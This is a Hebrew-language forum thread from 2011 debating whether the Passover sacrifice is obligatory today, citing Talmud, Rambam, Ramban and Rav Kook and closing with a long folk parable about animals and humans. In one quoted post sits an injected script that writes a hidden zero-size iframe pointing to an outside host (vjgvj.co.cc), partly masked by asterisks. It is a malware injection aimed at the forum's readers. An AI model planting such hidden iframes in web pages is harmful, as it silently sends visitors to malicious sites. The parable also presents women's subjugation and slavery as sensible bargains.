|
|
| נשלח ב-13/4/2011 23:58 |
 |
| |
בגדי כהונה מעכבים, ומכיוון שכהן הדיוט זקוק לאבנט, ובאבנט יש תכלת וארגמן, ונחלקו הפוסקים על זהותם של התכלת והארגמן, יש כאן עיכוב די רציני בנושא ההקרבה.
(גילוי נאות: הכותב מטיל תכלת זילברמן בציציותיו, ועם זאת הוא מודע לפולמוס הגדול שיש בעניין).
|
|
|
|
| נשלח ב-14/4/2011 00:28 |
|
| |
עוד כמה מילים,
ראשית משמח מאוד בעיני העיסוק הפומבי והמאוזן בענין הזה ובהחלט יש בכך ניצנים של גאולה בעיני.
אבל נראה לי שברור לכל שלמעשה הדבר עוד רחוק מאיתנו, בכמה וכמה מובנים, ולא רק הפרקטיים שבהם.
אם תשאלו אותי נראה לי שמעבר לדיון ההלכתי והמחשבתי החשוב בענין, יש מקום גם לנסות להבין את משמעותו של מהלך כזה מבחינות מציאותיות שונות , כמו ההסתופפות תחת שטח די קטן של הרבה אוכלסיות שונות מתוך עמינו לצורך מטרה אחת (חויה שאגב אני מניח שבמצב הנוכחי עלולה לחשוף גם חיכוכים מסוימים...) למשך כיומיים. ההשפעה על התפיסה הדתית והלאומית שלנו ועוד כהנה וכהנה.
כל זה בהנחה שרק אחוז מסוים (אך לא שולי) מהציבור הדתי והמסורתי ישתתף בענין כזה.
_________________
|
|
|
|
| נשלח ב-14/4/2011 08:58 |
|
| |
.
לאן נעלמו החבדניקים מהדיון?
זכורני כי קראתי באיזה מקום, כי לאחר מלחמת ששת הימים ושחרור הר הבית, הורה הלובביצ'ער לחסידיו שלא לשהות בערב הפסח בטווח של 15 מיל מהר הבית, כדי שלא יכנסו לחיוב כרת.
גם זו תוצאה של הדיון דלעיל. אם מוסכם כי יש חיוב להקריב קרבן פסח כיום, הרי שגם מוסכם כי מי שלא עושה זאת, דינו כרת, אלא אם היה אנוס.
ומה נעשה בפסח שני?
|
|
|
|
| נשלח ב-14/4/2011 09:58 |
|
| |
פסח שני לא רלוונטי כי רק יחידים נדחים לפסח שני אך לא ציבור.
נדמה לי שכל מי שלא מקריב קרבן פסח עושה זאת מכיוון שהוא רואה עצמו כאנוס - אם מחמת אונס חוקי/פוליטי, אם מחמת אונס הלכתי - סובר שלא ידוע לנו מקום המזבח/בגדי כהונה וכד'. האם יש מישהו שחושב שברמה העקרונית אין היום שום חיוב - כלומר, שגם אם כל מדינות העולם וממשלת ישראל יסכימו לכך, וכל הפרטים הטכניים יסתדרו, עדיין לא יהיה חיוב?
_________________
|
|
|
|
| נשלח ב-14/4/2011 10:04 |
|
| |
| עציוני כתב: |  | פסח שני לא רלוונטי כי רק יחידים נדחים לפסח שני אך לא ציבור.
נדמה לי שכל מי שלא מקריב קרבן פסח עושה זאת מכיוון שהוא רואה עצמו כאנוס - אם מחמת אונס חוקי/פוליטי, אם מחמת אונס הלכתי - סובר שלא ידוע לנו מקום המזבח/בגדי כהונה וכד'. האם יש מישהו שחושב שברמה העקרונית אין היום שום חיוב - כלומר, שגם אם כל מדינות העולם וממשלת ישראל יסכימו לכך, וכל הפרטים הטכניים יסתדרו, עדיין לא יהיה חיוב? _________________
|
|
התכוונתי לחובת היחיד הנמצא בתוך 15 מיל מירושלים.
|
|
|
|
| נשלח ב-14/4/2011 11:13 |
|
| |
פוסקים כר"ע שמאסקופת העזרה ולחוץ פטור.
_________________
|
|
|
|
| נשלח ב-14/4/2011 22:48 |
|
| |
| מיימוני כתב: | | אני חש מצד אחד געגוע רב למצות קרבן פסח. ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
ולקורבנות אחרים אתה גם חש געגוע?
פעם אחת ראיתי כפרות. חתכו ראשי תרנגולים לפי תור, בהגבהת ערמות פגרים בו במקום.
שמח רק דבר אחד. תגובת הילדים אותם הורים דחפו עם תרנגול לקרת סכין. הילדים בהיסטריה ניסו לברוח, זה שמח ועודד.
לי כל הספקות לגבי "געגועיי" פסקו.
ואמר הרמב"ם,
"ואמר ירמיה כי לא דברתי את אבותיכם ולא ציוויתים ביום הוציאי אותם מארץ מצרים על דברי עולה וזבח..."
אולי בכול זאת אפשר להפנים את זה כאקטואלי גם עם איחור למעלה מ-2000 שנה אחרי ירמיהו.
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
|
| נשלח ב-15/4/2011 01:02 |
|
| |
בזכות חברים באשכול סמוך,
זכיתי שמסכת סנהדרין תגיע לידי היום, ומסתבר שאכן הגמרא נוטה לפסוק שחיוב כרת חל בכל 15 המילין שסביב ירושלים, וכן פוסק הרמב"ם, למרות שנראה שהמשנה נוטה לדעה השניה. (= שחייבים רק מאסקופת העזרה ולחוץ)
מה שיותר מעניין הוא הקשר בין כל זה ובין כל מיני סוגיות מדעיות לכאורה של חכמים שמופיעות בהמשך אותה גמרא (דף צ"ד) ושחלקן הועלו כאן בהקשרים שונים בעת האחרונה (ובעצם במובנים רבים מעת הולדת הפורום הזה) משניהם גם יחד נראה לי שנוכל להבין :
1. כשחכמים מדברים על דרך רחוקה הם מתכווונים גם לפער קיומי.
2. כשחכמים מדברים על העולם ומשערים בו מרחקים וכד' באופן "מדעי" כביכול, כוונתם לשער את המרחק הקיומי הזה באופנים שונים, ממילא הניסיון לדמות את זה לטענות מדעיות נטו מופרך ויסודו בטעות. (שימו לב למשל לרבה בר בר חנה שפותח את החלק הזה בסוגיא , שדרכו בלימוד ידועה לכל מי שלמד ב"ב, או לכל הפחות את הדפים הפיקנטיים בהם הוא מככב שם. :-))
_________________
|
|
|
|
| נשלח ב-15/4/2011 18:16 |
|
| |
צענע
מכאו למדת שאת לא קרבן פסח?
|
|
|
|
| נשלח ב-16/4/2011 22:28 |
|
| |
באחת התגובות הקודמות נכתב שהרב קוק טען שהקורבנות יהיו צמחוניים.
אפשר מקור מדויק לכך?
_________________
|
|
|
|
| נשלח ב-16/4/2011 23:10 |
|
| |
| 1אסף1 כתב: | | | באחת התגובות הקודמות נכתב שהרב קוק טען שהקורבנות יהיו צמחוניים.אפשר מקור מדויק לכך? _________________
|
|
בספרו לנבוכי הדור, אם תרצה שאני יבדוק במדויק עמוד אני יעשה זאת במקומך, רק תבקש,
_________________
|
|
|
|
| נשלח ב-16/4/2011 23:36 |
|
| |
אם תוכל לתת מיקום מדויק, או להביא את הדברים זה יהיה מצוין.
תודה.
_________________
|
|
|
|
| נשלח ב-16/4/2011 23:48 |
|
| |
עד שמקסמן ימצא את המקור בספר- מצאתי ברשת מאמר שמסכם את עמדתו של הרב קוק בנושא הקרבנות:
"כהמשך לנושא חידוש עבודת הקרבנות, נביא הפעם קטעים ממאמר שכתבה חנה מנדלמן מכפר חסידים [בחג הסוכות תש"ע נפטרה האשה הצדקנית חנה מנדלמן ז"ל בדמי ימיה - יהיו הדברים לעלוי נשמתה]. במאמר זה נציע הסבר רעיוני למצוות הקרבנות ע"פ שיטת הראי"ה קוק זצ"ל.
במאמריו שנלקטו בחוברת "חזון הצמחונות", הסביר הראי"ה שאכילת בשר אינה מצב שלם, ויבוא יום וכל בני האדם יהיו צמחוניים. אף הראי"ה עצמו היה צמחוני תקופה מסוימת בחייו. על כן מעניין יחסו של הרב לקרבנות, בהם הרבה לעסוק בספרו "עולת ראיה". על שני מקורות אלו מבוססים הדברים הבאים.
אדם הראשון היה צמחוני, אסור היה לו לאכול בשר. כל היצורים בבריאה נועדו לעבודת ה', על כל יצור מוטלת החובה להתעלות, להתקדש, לברר את עצמו מן התכונות השליליות שבו, ולפתח את הטוב שבו. כשהאדם קרא בשמות לכל בעלי-החיים, הוא ברר אותם, הפריד את התכונות הלא-טובות שבהן, הוציא לפועל את הטוב שבהן, והביא להתעלותם. אותם בע"ח היו ברמה רוחנית גבוהה ביותר, ולכן אסור היה לאכלם.
אולם לאחר החטא, נפל האדם ברמתו הרוחנית, ונפלו עמו בעלי-החיים ממדרגתם. מאז, לא יכול עוד האדם "לברר" את הבריאה, להפריד את הפסולת הרוחנית באותה דרך פשוטה כמו קודם. בהקרבת קרבן, מעלה האדם את "הכוח החיוני" – תכונתם המיוחדת של בעלי החיים – אל הדרגה הגבוהה שלו. "בעלי החיים, הקרבים למזבח, חל בהם עצמם התיקון ע"י התעלותם להיות זבח לה', כיון שאין בהם דעת אינם מגיעים להתעלות זו כי אם במעשה הנעשה בהם בהעלות לה' דמם וחלבם..." (עולת ראיה עמ' רצב).
האדם, שיש בו דעת, מגיע להתעלות בעזרת דעתו, ויכול להעלות גם את הבהמות, שאין להם דעת, ע"י הקרבתם לה'. בעולם החי יש כוחות שונים של עצמה והרס, וכאשר מקריבים אותם יש בכך כפרה רבת עצמה לאדם ולחי: "כוח המפעל של עוז החיים... כח השור, מלא הגבורה והעוז... וכוח ההרס המשעיר [של השעיר]... כח הסותר והמחריב... בהיותם מתעלים לרום הגובה של מטרתם, כל חטא ועוון... מתכפרים הם..." (שם עמ' קסז). הקרבת כוחות אלו על המזבח, מביאה כפרה גדולה לאדם ולכח החייתי שבעולם. "שעל ידי החטאים נתקלקל כח החיים... וצריך ביעור. אבל הפנימיות שבהם... יש בה עניין לעלות... להתהפך לכח פועל, שואב אור קודש וחיים עליונים המתהפכים מרעה לטובה" (שם עמ' קסט).
אמנם גם התפילה מתקנת את העולם, והעיסוק בתורת הקרבנות מכפר כאילו הקרבנו קרבן, "ונשלמה פרים שפתינו", אבל הכפרה שבעבודת המקדש והקרבנות היא רצופה ומתמשכת, שלא כקדושה החלה רק ברגע שאנו עוסקים בלימוד. "רק הקדושה המתמדת, לא המקרית הבאה מזמן לזמן, היא יכולה לעצור את כל פרץ". "על כן מוכרחת היא הנשמה הישראלית לבקש את תיקונה בשרשה – יחזור כבוד ה' על מכונו... שיבנה בית המקדש במהרה בימינו" (שם עמ' קכז-קכח). ישנה ערבות רוחנית הדדית בין האדם לבהמה. האדם מתעלה, ומעלה את עולם החי עימו, והחי המוקרב לקרבן מכפר על חטאי האדם. בעבודה זו, לא יכול האדם לכפר על עצמו ללא קרבן מן החי, מכח אחריותו לחיות ומתוך כך שלא ניתן להעלות רק חלק אחד של הבריאה – האדם – ללא השתתפות הנבראים האחרים. העולם התקלקל בגלל מעשי האדם. העולם יתוקן בזכות מעשי האדם, בעבודה ממושכת ועקבית, שלב אחר שלב. את הדרגה הרוחנית שתושג לעתיד, בכח העמל הרוחני, בכח עבודת המקדש, לא ניתן יהיה שוב לקלקל.
ולבסוף, בעתיד הרחוק, לא יקריבו עוד קרבנות מן החי, והאדם לא יאכל בשר: "לעתיד לבוא, שפע הדעת יתפשט ויחדור אפילו בבעלי החיים... וההקרבה שתהיה אז של מנחה, מהצומח, תערב לה' כשנים קדמוניות" (שם עמ' רצב). פורסם בהמשכים בעלון להבה.
תוקן על ידי צענערענע ב- 16/04/2011 23:49:57
 |
|
|
|
|
| נשלח ב-17/4/2011 00:02 |
|
| |
| 1אסף1 כתב: | | | אם תוכל לתת מיקום מדויק, או להביא את הדברים זה יהיה מצוין.תודה. _________________
|
|
אני רץ לחפש לך, בינתיים כך רמב"ן יפה של השבת
רמב"ן ויקרא פרק יז פסוק יא
והראוי שנפרש בטעם איסורו, כי השם ברא כל הנבראים התחתונים לצורך האדם כי הוא לבדו בהם מכיר את בוראו, ואף ע"פ כן לא התיר להם באכילה מתחילה רק הצומח לא בעלי הנפש, כאשר בא בפרשת בראשית שנאמר (בראשית א כט) הנה נתתי לכם את כל עשב זורע זרע וגו'. וכאשר היה במבול שנצולו בזכותו של נח והקריב מהם קרבן והיה לרצון לו התיר להם השחיטה, כמו שאמר (שם ט ג) כל רמש אשר הוא חי לכם יהיה לאכלה כירק עשב נתתי לכם את כל, כי חיותם בעבור האדם. והנה התיר גופם אשר הוא חי בעבור האדם, שיהיה להנאתו ולצרכו של אדם, ושתהיה הנפש שבהם לכפרה לאדם, בקרבים לפניו יתברך, לא שיאכלוהו. כי אין לבעל נפש שיאכל נפש, כי הנפשות כולן לאל, הנה כנפש האדם וכנפש הבהמה לו הנה ומקרה אחד להם כמות זה כן מות זה ורוח אחד לכל (קהלת ג יט):
ראה גם משל יפה שנתתי פעם בעניין, וחיזוק גם מחז"ל למשל, אז הנה החז"ל ואחר כך המשל שלי
ויקרא רבה (מרגליות) פרשת מצורע פרשה טז
ור' יהושע בן לוי אמ' ציפרים ציפרי דרור, שאוכלת מפיתו ושתת מימיו. והלא דברים קל וחומר, ומה אם ציפרים שאוכלין מפיתו ושותין ממימיו מכפרות עליו, כהן שנהנה מישראל עשרים וארבע מתנות על אחת כמה וכמה.
היו היה לפני מיליוני שנים אסיפת חירום של כל החיות הטהורות,
על הפרק סכנת הכחדה מידית של כל המין החיות הטהורות,
והיות שאין לנו שיניים לטרוף אפי' אם רצינו להילחם ולטרוף ?! אי אפשר ! אז מה עושים ?
לגור במקום שאין שם חיות טורפות ?! אין מקום כזה ! אז מה עושים,
היית שם חיה חכמה שאמרה:
אני מכירה חיה מסוג מעניין הם קורים לעצמם "אדם"
הם לא טורפים (כי יש לה אותו שיניים ישרות)
אבל הם צריכים חלב בגדים (כי קר להם והם גם מתביישים להיות ערום ולכן הם צנועים ומתעטפים עם צמר ועור מחיות מתות,)
והם (האדם) חיים בנפרד מכל החיות, והחיות מפחדות לבוא למקומם, כי הם חזקים מאוד,
אז אני מציע בואו נעשה הסכם איתם,
שהם (האדם) יקבלו אותנו בביתם\במקומם,
ואנו נתן להם, חלב צמר ועור, וגם נעבוד בשבילם בחרישה ורכיבה וכדומה,
והם (האדם) יתנו לנו אוכל מקום חם לישון, וירפאו מחלות שלנו וכדומה,
היית שם חיה מפגר, שטען, שנכון שהם לא טורפים כי אין להם שיניים שאפשר לטרוף ולאכול,
אבל יש להם פיתרון, הם מבשלים את הבשר, ואז יכולים הם לאכול בשר, ולכן הם ישחטו אותנו ויבשלו אותנו,
אז מה רבונו של עולם נרוויח ???
אמרה לה החיה החכמה: גבר טיפש שכמותך, אוקיי ניתן להם לשחוט אותנו, אבל הם צריכים גם חלב וצמר ורכיבה ועבודה זולה,
אז במילא, הם (האדם) יגדלו אותנו ויפרנסו אותנו ויתנו לנו מקום חם לגור בה,
אז מה הבעיה שלך שגם ישחטו כמה מאיתנו,
וההיגיון אומר שישחטו את אלה שאין להם כבר צורך בהם,
ובמילא היו זורקים אותו לרחוב, וחיות הטרף היו טורפים אותו במילא,
ולכן כדאי לנו לסגור הסכם\ברית עם מין ה"אדם" ואנו (= המינים הטהורות) יחיו לנצח,
בקיצור כל הבהמות והחיות הטהורות, הסכימו לרעיון הנפלא בשמחה וברצון אמיתי וחופשי,
רגע רגע,,, צעקה הבת של החיה החכמה,
לכל הסכם יש שני צדדים, האם מין ה"אדם" ירצה בהסכם הזה ???
השתרר דממה, וניכרו על פניהם מין אכזבה כמו מחלום מתוק שחלמו כביכול,
(הבנת הזוגיות)
ואז קם זקן החיות ממקומו ואומר:
סבתא שלי סיפרה לי,
שבימי קדם מין ה"אדם" היה סוג ממין זכר רק, לא היה לו נקבה, (בעצם היה לו, הרי נולד מנקבה, רק התכחש לה, כי היא חלשה ויש לה דמים הרבה, ולא מפרנסת (= טורפת) ורק מטפלת בצאצאיה,)
חיפש הוא והזדווג הוא עם כל החיות בעולם, ולא הצליח למצאו דרך לקיים את מינו,
ול"אישה" היית בעיה לפרנס את עצמה ואת ילדיה, וגם החיות באו לטרוף אותה ואת ילדיה כל הזמן,
ולכן הייתה צריכה מפרנס ומגן מחיות טורפות, ומישהו שיבנה לה בית חם ויתן לה וילדיה ביטחון,
ל"אישה" הייתה בינה יתרה, ואמרה\היציעה לגבר (שהם חמורים בדרך כלל) בואו אני יגדל רק את ילדיך, (אני לא הזדווג עם אחר,) ואז יתקיים המין (האדם) דווקא ממך,
אוקיי אומר לה הגבר, מניין לי הביטחון ?? את תלכי להזדווג עם אחר ואני לעולם לא ידע שהילד לא שלי, ואני עוד יפרנס אותו ????? וגם באמת לא כולם יהיו צאצאיי ??? רק מאיזה קוף או נחש שתמציאי ביער ??
אוקיי אומרה ה"אישה" החכמה: אתה תהיה ה"אדון" ואני היה עבדך לעולמים, כך שאם אני יבגוד בך ?! זכותך להרוג אותי,
כך חיו להם האדם והאישה בבטחה,
(הבנת העבדות בהיסטוריה)
לימים (ממשיך לספר זקן החיות) חלק ממין האדם התכחש להסכם, ואחרי שבנה בית עם ילדים ?! התעצל לעבוד ולפרנס את האישה וילדיה,
והיגיע לעוני ולפשע, (לפעמים גם בניהם היגיעו למצב הנ"ל)
אז כמה חכמים מאלה (הפושעים) שרצו לחזור להיות בני אדם ?! ביקשו והתחננו לבני מינם לקנות אותם לעבדים,
כמו שקנו את האישה,
וכך הם החיות ממין האדם מסתדרים ביניהם וחיים דיי טוב,
והיות (אומר "זקן" החיות) שיש אצלהם תקדימים כאלה ?! יכול להיות שהם (מין האדם) יקבלו את הצעתינו, ויכרתו ברית עימנו,
ומאז ?! הכל היסטוריה,
_________________
|
|
|
|
|
